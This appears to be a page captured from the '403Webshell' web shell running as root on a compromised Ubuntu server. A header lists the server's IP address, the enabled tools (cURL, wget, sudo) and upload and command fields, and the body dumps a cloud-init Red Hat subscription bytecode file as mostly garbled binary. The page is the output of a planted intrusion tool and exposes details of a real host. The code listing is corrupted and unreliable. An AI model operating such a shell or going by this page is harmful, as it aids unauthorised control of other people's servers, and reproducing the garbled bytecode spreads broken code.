403Webshell
Server IP : 159.69.118.108  /  Your IP : 216.73.216.231
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-4gb-fsn1-1 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 13:53:54 UTC 2025 aarch64
User : root ( 0)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_rh_subscription.cpython-312.pyc
�

��i�@�
���UdZddlZddlmZmZddlmZddlmZddl	m
Z
ddlmZeje�Zdd	d
gedgd�Ze
ed
<dededededdf
d�ZGd�de�ZGd�d�Zdd�Zy)zDRed Hat Subscription: Register Red Hat Enterprise Linux based system�N)�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE�cc_rh_subscription�fedora�rhel�rh_subscription)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc�v�t|�}|j�stjd|�y|j	��s�	|j�\}}|durt
|��|j�}|st
d��|jr=|j�1|j�st
d��tjd�n<|jr0|j�st
d��tjd�|j�ht|jt�s
d}t
|��|j|j�}	|	s$t
d	j!|j���|j#�}	|	st
d
��|j$r |j'�|j)�tj+d�ytj+d
�y#t$r=}
tj-t/|
��tj-d�Yd}
~
yd}
~
wwxYw)Nz%s: module not configured.Tz-Registration failed or did not run completelyzSetting of service_level failedz(Completed auto_attach with service levelzSetting auto_attach failedzCompleted auto_attachz"Pools must in the format of a listzUnable to attach pools {0}zUnable to add or remove reposz-rh_subscription plugin completed successfullyz4rh_subscription plugin did not complete successfullyzSystem is already registered)�SubscriptionManager�
is_configured�LOG�debug�
is_registered�_verify_keys�SubscriptionError�rhn_register�auto_attach�servicelevel�_set_service_level�_set_auto_attach�pools�
isinstance�list�addPool�format�update_repos�release_version�_set_release_version�_delete_packagemanager_cache�info�warning�str)rrrr�sm�verify�
verify_msg�cont�	pool_fail�return_stat�es           �E/usr/lib/python3/dist-packages/cloudinit/config/cc_rh_subscription.py�handler8s���	�S�	!�B�
�����	�	�.��5��
����.	P�!#���!2��F�J��T�!�'�
�3�3��?�?�$�D��'�C����~�~�"�/�/�"=��,�,�.�+�,M�N�N��I�I�H�I�����*�*�,�+�,H�I�I��I�I�5�6��x�x�#�!�"�(�(�D�1� D�I�+�I�6�6� �j�j����2��"�+�4�;�;�B�H�H�E����/�/�+�K��'�(G�H�H��!�!��'�'�)��/�/�1��H�H�D�E�
	���/�0��	!�	P��K�K��A����K�K�N�O�O��	P�s�FG2�2	H8�;3H3�3H8c��eZdZy)rN)�__name__�
__module__�__qualname__��r7rrTs��r>rc�Z�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zy)rc���|jdi�|_|jjd�|_|jjd�|_|jjd�|_|jjd�|_|jjd|jjd��|_|jjd|jjd	��|_|jjd
|jjd��|_|jjd|jjd
��|_	|jjd|jjd��|_
|jjd|jjd��|_|jjd|jjd��|_|jjd|jjd��|_
y)Nr�org�username�passwordr*�rhsm_baseurlzrhsm-baseurl�server_hostnamezserver-hostname�add_poolzadd-pool�activation_keyzactivation-keyr zauto-attach�enable_repozenable-repo�disable_repozdisable-repo�
service_levelz
service-level)�get�rhel_cfgrA�useridrCr*rDrEr$rGr rHrIr!)�selfrs  r7�__init__zSubscriptionManager.__init__Zs������ 1�2�6��
��=�=�$�$�U�+����m�m�'�'�
�3����
�
�)�)�*�5��
�#�}�}�0�0�1B�C���!�M�M�-�-��D�M�M�-�-�n�=�
��� $�}�}�0�0��t�}�}�0�0�1B�C� 
����]�]�&�&���
�
�)�)�*�5�
��
�#�m�m�/�/��d�m�m�/�/�0@�A�
��� �=�=�,�,��4�=�=�,�,�]�;�
��� �=�=�,�,��4�=�=�,�,�]�;�
���!�M�M�-�-��D�M�M�-�-�n�=�
���!�M�M�-�-��T�]�]�.�.��?�
��r>c�0�|j�Dtj|j�s%tj|j�sd}d|fS|j�:|jr(tjt|j��rd}d|fSy)zq
        Checks that the keys in the rh_subscription dict from the user-data
        are what we expect.
        z8The key auto_attach must be a boolean value (True/False)FzqThe service_level key must be used in conjunction with the auto_attach key.  Please re-run with auto_attach: True)TN)r r�is_true�is_falser!r/)rN�not_bool�no_autos   r7rz SubscriptionManager._verify_keyss���
���(��L�L��)�)�*�d�m�m�D�<L�<L�.M�K�
��(�?�"����)��!�!�t�}�}�S��9I�9I�5J�'K�$�
�
�'�>�!�r>c�T�dg}	t|�y#tj$rYywxYw)zg
        Checks if the system is already registered and returns
        True if so, else False
        �identityFT)�_sub_man_clir�ProcessExecutionError)rN�cmds  r7rz!SubscriptionManager.is_registered�s7��
�l��	�������)�)�	��	�s��'�'c�:�|j��|j��ddj|j�dj|j�g}|j�*|j	dj|j��|j
�*|j	dj|j
��	t
|d��d	}n�|j��|j��dd
j|j�dj|j�g}|j�*|j	dj|j��|j
�*|j	dj|j
��	t
|d��d	}n+tjd�tjd�y|jd�dj!�}tj#d|�y#tj$r9}|jd
k(r tjd|j�Yd}~yd}~wwxYw#tj$r9}|jd
k(r tjd|j�Yd}~yd}~wwxYw)z�
        Registers the system by userid and password or activation key
        and org.  Returns True when successful False when not.
        N�registerz--activationkey={0}z	--org={0}z
--baseurl={0}z--serverurl={0}T)�
logstring_valr�zRegistration failed due to: %sFz--username={0}z--password={0}z8Unable to register system due to incomplete information.z9Use either activationkey and org *or* userid and passwordzID: �z"Registered successfully with ID %s)rGrAr(rD�appendrErWrrX�stdoutrr.�stderrrMrC�split�rstripr)rNrY�
return_outr6�reg_ids     r7rz SubscriptionManager.rhn_register�s/��
���+�$�(�(�2F��%�,�,�T�-@�-@�A��"�"�4�8�8�,��C�� � �,��
�
�?�1�1�$�2C�2C�D�E��#�#�/��
�
�,�3�3�D�4H�4H�I�J�
�)�#�T�B�1�E�
��k�k�%�D�M�M�,E�� �'�'����4� �'�'��
�
�6��C�� � �,��
�
�?�1�1�$�2C�2C�D�E��#�#�/��
�
�,�3�3�D�4H�4H�I�J�
�)�#�T�B�1�E�
�
�K�K�J�
�
�K�K�K�
���!�!�&�)�!�,�3�3�5���	�	�6��?���S�-�-�
��8�8�r�>��K�K� @�!�(�(�K���
��2�-�-�
��8�8�r�>��K�K� @�!�(�(�K���
�s0�=G?�
I�?I�/I�I�J�!/J�Jc��dddj|j�g}	t|�d}|jd�D]}|dk7s�	tj|��y	#tj$r�}|j
j
�dk7r<|j
jd�D]}|dk7s�	tj|��n.tjd|jj��Yd}~yd}~wwxYw)
N�attach�--autoz--servicelevel={0}rr]�
z)Setting the service level failed with: %sFT)
r(r!rWrrXr`rcrbrr.ra�stripr�rNrYrdr6�lines     r7r"z&SubscriptionManager._set_service_level�s����� �'�'��(9�(9�:�
��	�%�c�*�1�-�J��$�$�T�*�	 �D��r�z��	�	�$��	 ����)�)�
	��x�x��� �B�&��H�H�N�N�4�0�*�D��r�z����D�)�*����?��H�H�N�N�$����
	�s�A � D�3AC?�4AC?�?Dc��ddg}	t|�d}|jd�D]}|dk7s�	tj
|��y#tj$r }tj	d|�Yd}~yd}~wwxYw)	Nrgrhrzauto_attach failed with: %sFrir]T)rWrrXrr.rbrrks     r7r#z$SubscriptionManager._set_auto_attachs}����"��	�%�c�*�1�-�J��$�$�T�*�	 �D��r�z��	�	�$��	 ���
�)�)�	��K�K�5�q�9���	�s�A�A9�A4�4A9c���g}g}gd�}t|�d}|j�jd�}gd�}t|�d}|j�jd�}||fS)zh
        Gets the list pools for the active subscription and returns them
        in list form.
        )r&z--available�--pool-onlyrri)r&z
--consumedro)rWrcrb)rN�	available�consumedrY�resultss     r7�	_getPoolszSubscriptionManager._getPoolsss��
�	���5���s�#�A�&���^�^�%�,�,�T�2�	�4���s�#�A�&���N�N�$�+�+�D�1���(�"�"r>c��ddg}t|�d}g}|jd�D]8}d|vs�|j|jd�dj���:ddg}t|�d}g}|jd�D]8}d|vs�|j|jd�dj���:||fS)	zl
        Obtains the current list of active yum repositories and returns
        them in list form.
        �reposz--list-enabledrrizRepo ID:�:r^z--list-disabled)rWrbr_rj)rNrYrd�active_repos�repo�inactive_reposs      r7�	_getReposzSubscriptionManager._getRepos+s����(�)��!�#�&�q�)�
����$�$�T�*�	B�D��T�!��#�#�T�Z�Z��_�Q�%7�$>�$>�$@�A�	B��)�*��!�#�&�q�)�
����$�$�T�*�	D�D��T�!��%�%�t�z�z�#��q�'9�&@�&@�&B�C�	D��^�+�+r>c� �|stjd�y|j�\}}g}dg}|D]A}||vr%||vr!|jdj	|���,tjd|��Ct
|�dkDrS|j|�	t|�tjddj|�jd	d
��yy#tj$r!}tjd|�Yd}~y
d}~wwxYw)zl
        Takes a list of subscription pools and "attaches" them to the
        current subscription
        zNo pools to attachTrgz
--pool={0}zPool %s is not availablerz/Attached the following pools to your system: %s�, z--pool=r]z"Unable to attach pool %s due to %sNF)
rrrsr_r(r.�len�extendrW�join�replacerrX)rNr$�pool_available�
pool_consumed�	pool_listrY�poolr6s        r7r'zSubscriptionManager.addPoolAs�����I�I�*�+��(,���(8�%��
��	��j���	>�D��M�)���0F�� � ��!4�!4�T�!:�;����6��=�		>�
�y�>�A���J�J�y�!�	
��S�!��	�	�E��Y�Y�y�)�2�2�9�b�A������-�-�
����@�$��J���
�s�AC�D
�,D�D
c�.�|j}|j}|�g}|�g}t|t�stjd�yt|t�stjd�y|s|stj
d�y|j�\}}g}g}|D]8}||vr!|jdj|���(|j|��:g}g}	|D]8}||vr!|jdj|���(|	j|��:t|�dkDr8|D]3}
|
|vrtj
d	|
��tjd
|
��5t|	�dkDr|	D]}
tj
d|
��dg}t|�dkDr|j|�t|�dkDr|j|�	t|�t|�dkDr5tj
ddj|�j!dd��t|�dkDr5tj
ddj|�j!dd��y#tj$r }tjd
|�Yd}~yd}~wwxYw)z�
        Takes a list of yum repo ids that need to be disabled or enabled; then
        it verifies if they are already enabled or disabled and finally
        executes the action to disable or enable
        Nz&Repo IDs must in the format of a list.Fz No repo IDs to enable or disableTz--enable={0}z
--disable={0}rzRepo %s is already enabledz Repo %s does not appear to existz.Repo %s not disabled because it is not enabledruzUnable to alter repos due to %szEnabled the following repos: %sr|z	--enable=r]z Disabled the following repos: %sz
--disable=)rHrIr%r&rr.rrzr_r(r}r~rWrrXrr�)
rN�erepos�dreposrwry�enable_list�enable_list_fail�repoid�disable_list�disable_list_fail�failrYr6s
             r7r)z SubscriptionManager.update_reposasz���!�!���"�"���>��F��>��F��&�$�'��K�K�@�A���&�$�'��K�K�@�A�����I�I�8�9��'+�~�~�'7�$��n������	0�F���'��"�"�>�#8�#8��#@�A� �'�'��/�		0������	1�F���%��#�#�O�$:�$:�6�$B�C�!�(�(��0�		1��� �1�$�(�
J���<�'��I�I�:�D�A��K�K� B�D�I�
J�� �!�A�%�)�
���	�	�D�d��
�
�i���|��q� ��J�J�|�$��{��a���J�J�{�#�	����
�{��a���I�I�1����;�'�0�0��b�A�
��|��q� ��I�I�2����<�(�1�1�,��C�
����)�)�	��K�K�9�1�=���	�s�I!�!J�4J�Jc�d�t|jxr|jxs|j�S)N)�boolrMrCrG)rNs r7rz!SubscriptionManager.is_configured�s%���T�[�[�2�T�]�]�J�t�7J�7J�K�Kr>c��dd|j��g}	t|�y#tj$r}t	d|���|�d}~wwxYw)z�
        Execute "subscription-manager release --set=<release_version>"
        Raises Subscription error if the command fails
        �releasez--set=z%Unable to set release_version using: N)r*rWrrXr)rNrYr6s   r7r+z(SubscriptionManager._set_release_version�sY���F�4�#7�#7�"8�9�:��	������)�)�	�#�7��u�=���
��	�s��A�A�Ac��tjd�	tjd�tjd�y#t$r}td�|�d}~wwxYw)zk
        Delete the package manager cache.
        Raises Subscription error if the deletion fails
        z"Deleting the package manager cachez/var/cache/dnfz/var/cache/yumz*Unable to delete the package manager cacheN)rrr�del_dir�	Exceptionr)rNr6s  r7r,z0SubscriptionManager._delete_packagemanager_cache�sS��
	�	�	�6�7�	��L�L�)�*��L�L�)�*���	�#�<���
��	�s�*A�	A�A�AN)r:r;r<rOrrrr"r#rsrzr'r)rr+r,r=r>r7rrXsK��#
�J�B�B�H�2
�#�(,�,�@R�hL��r>rc�8�tjdg|z|��S)z�
    Uses the preferred cloud-init subprocess def of subp.subp
    and runs subscription-manager.  Breaking this to a
    separate function for later use in mocking and unittests
    zsubscription-manager)�	logstring)r)rYr\s  r7rWrW�s���9�9�,�-��3�}�M�Mr>)F)�__doc__�logging�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�	getLoggerr:rr�__annotations__r/r&r8r�rrrWr=r>r7�<module>r�s���K�� �!�#�.�+��g����!����&�!�� 1�2�	��j��71��71�6�71�%�71�t�71��71�t	�	�	�z�z�zNr>

Youez - 2016 - github.com/yon3zu
LinuXploit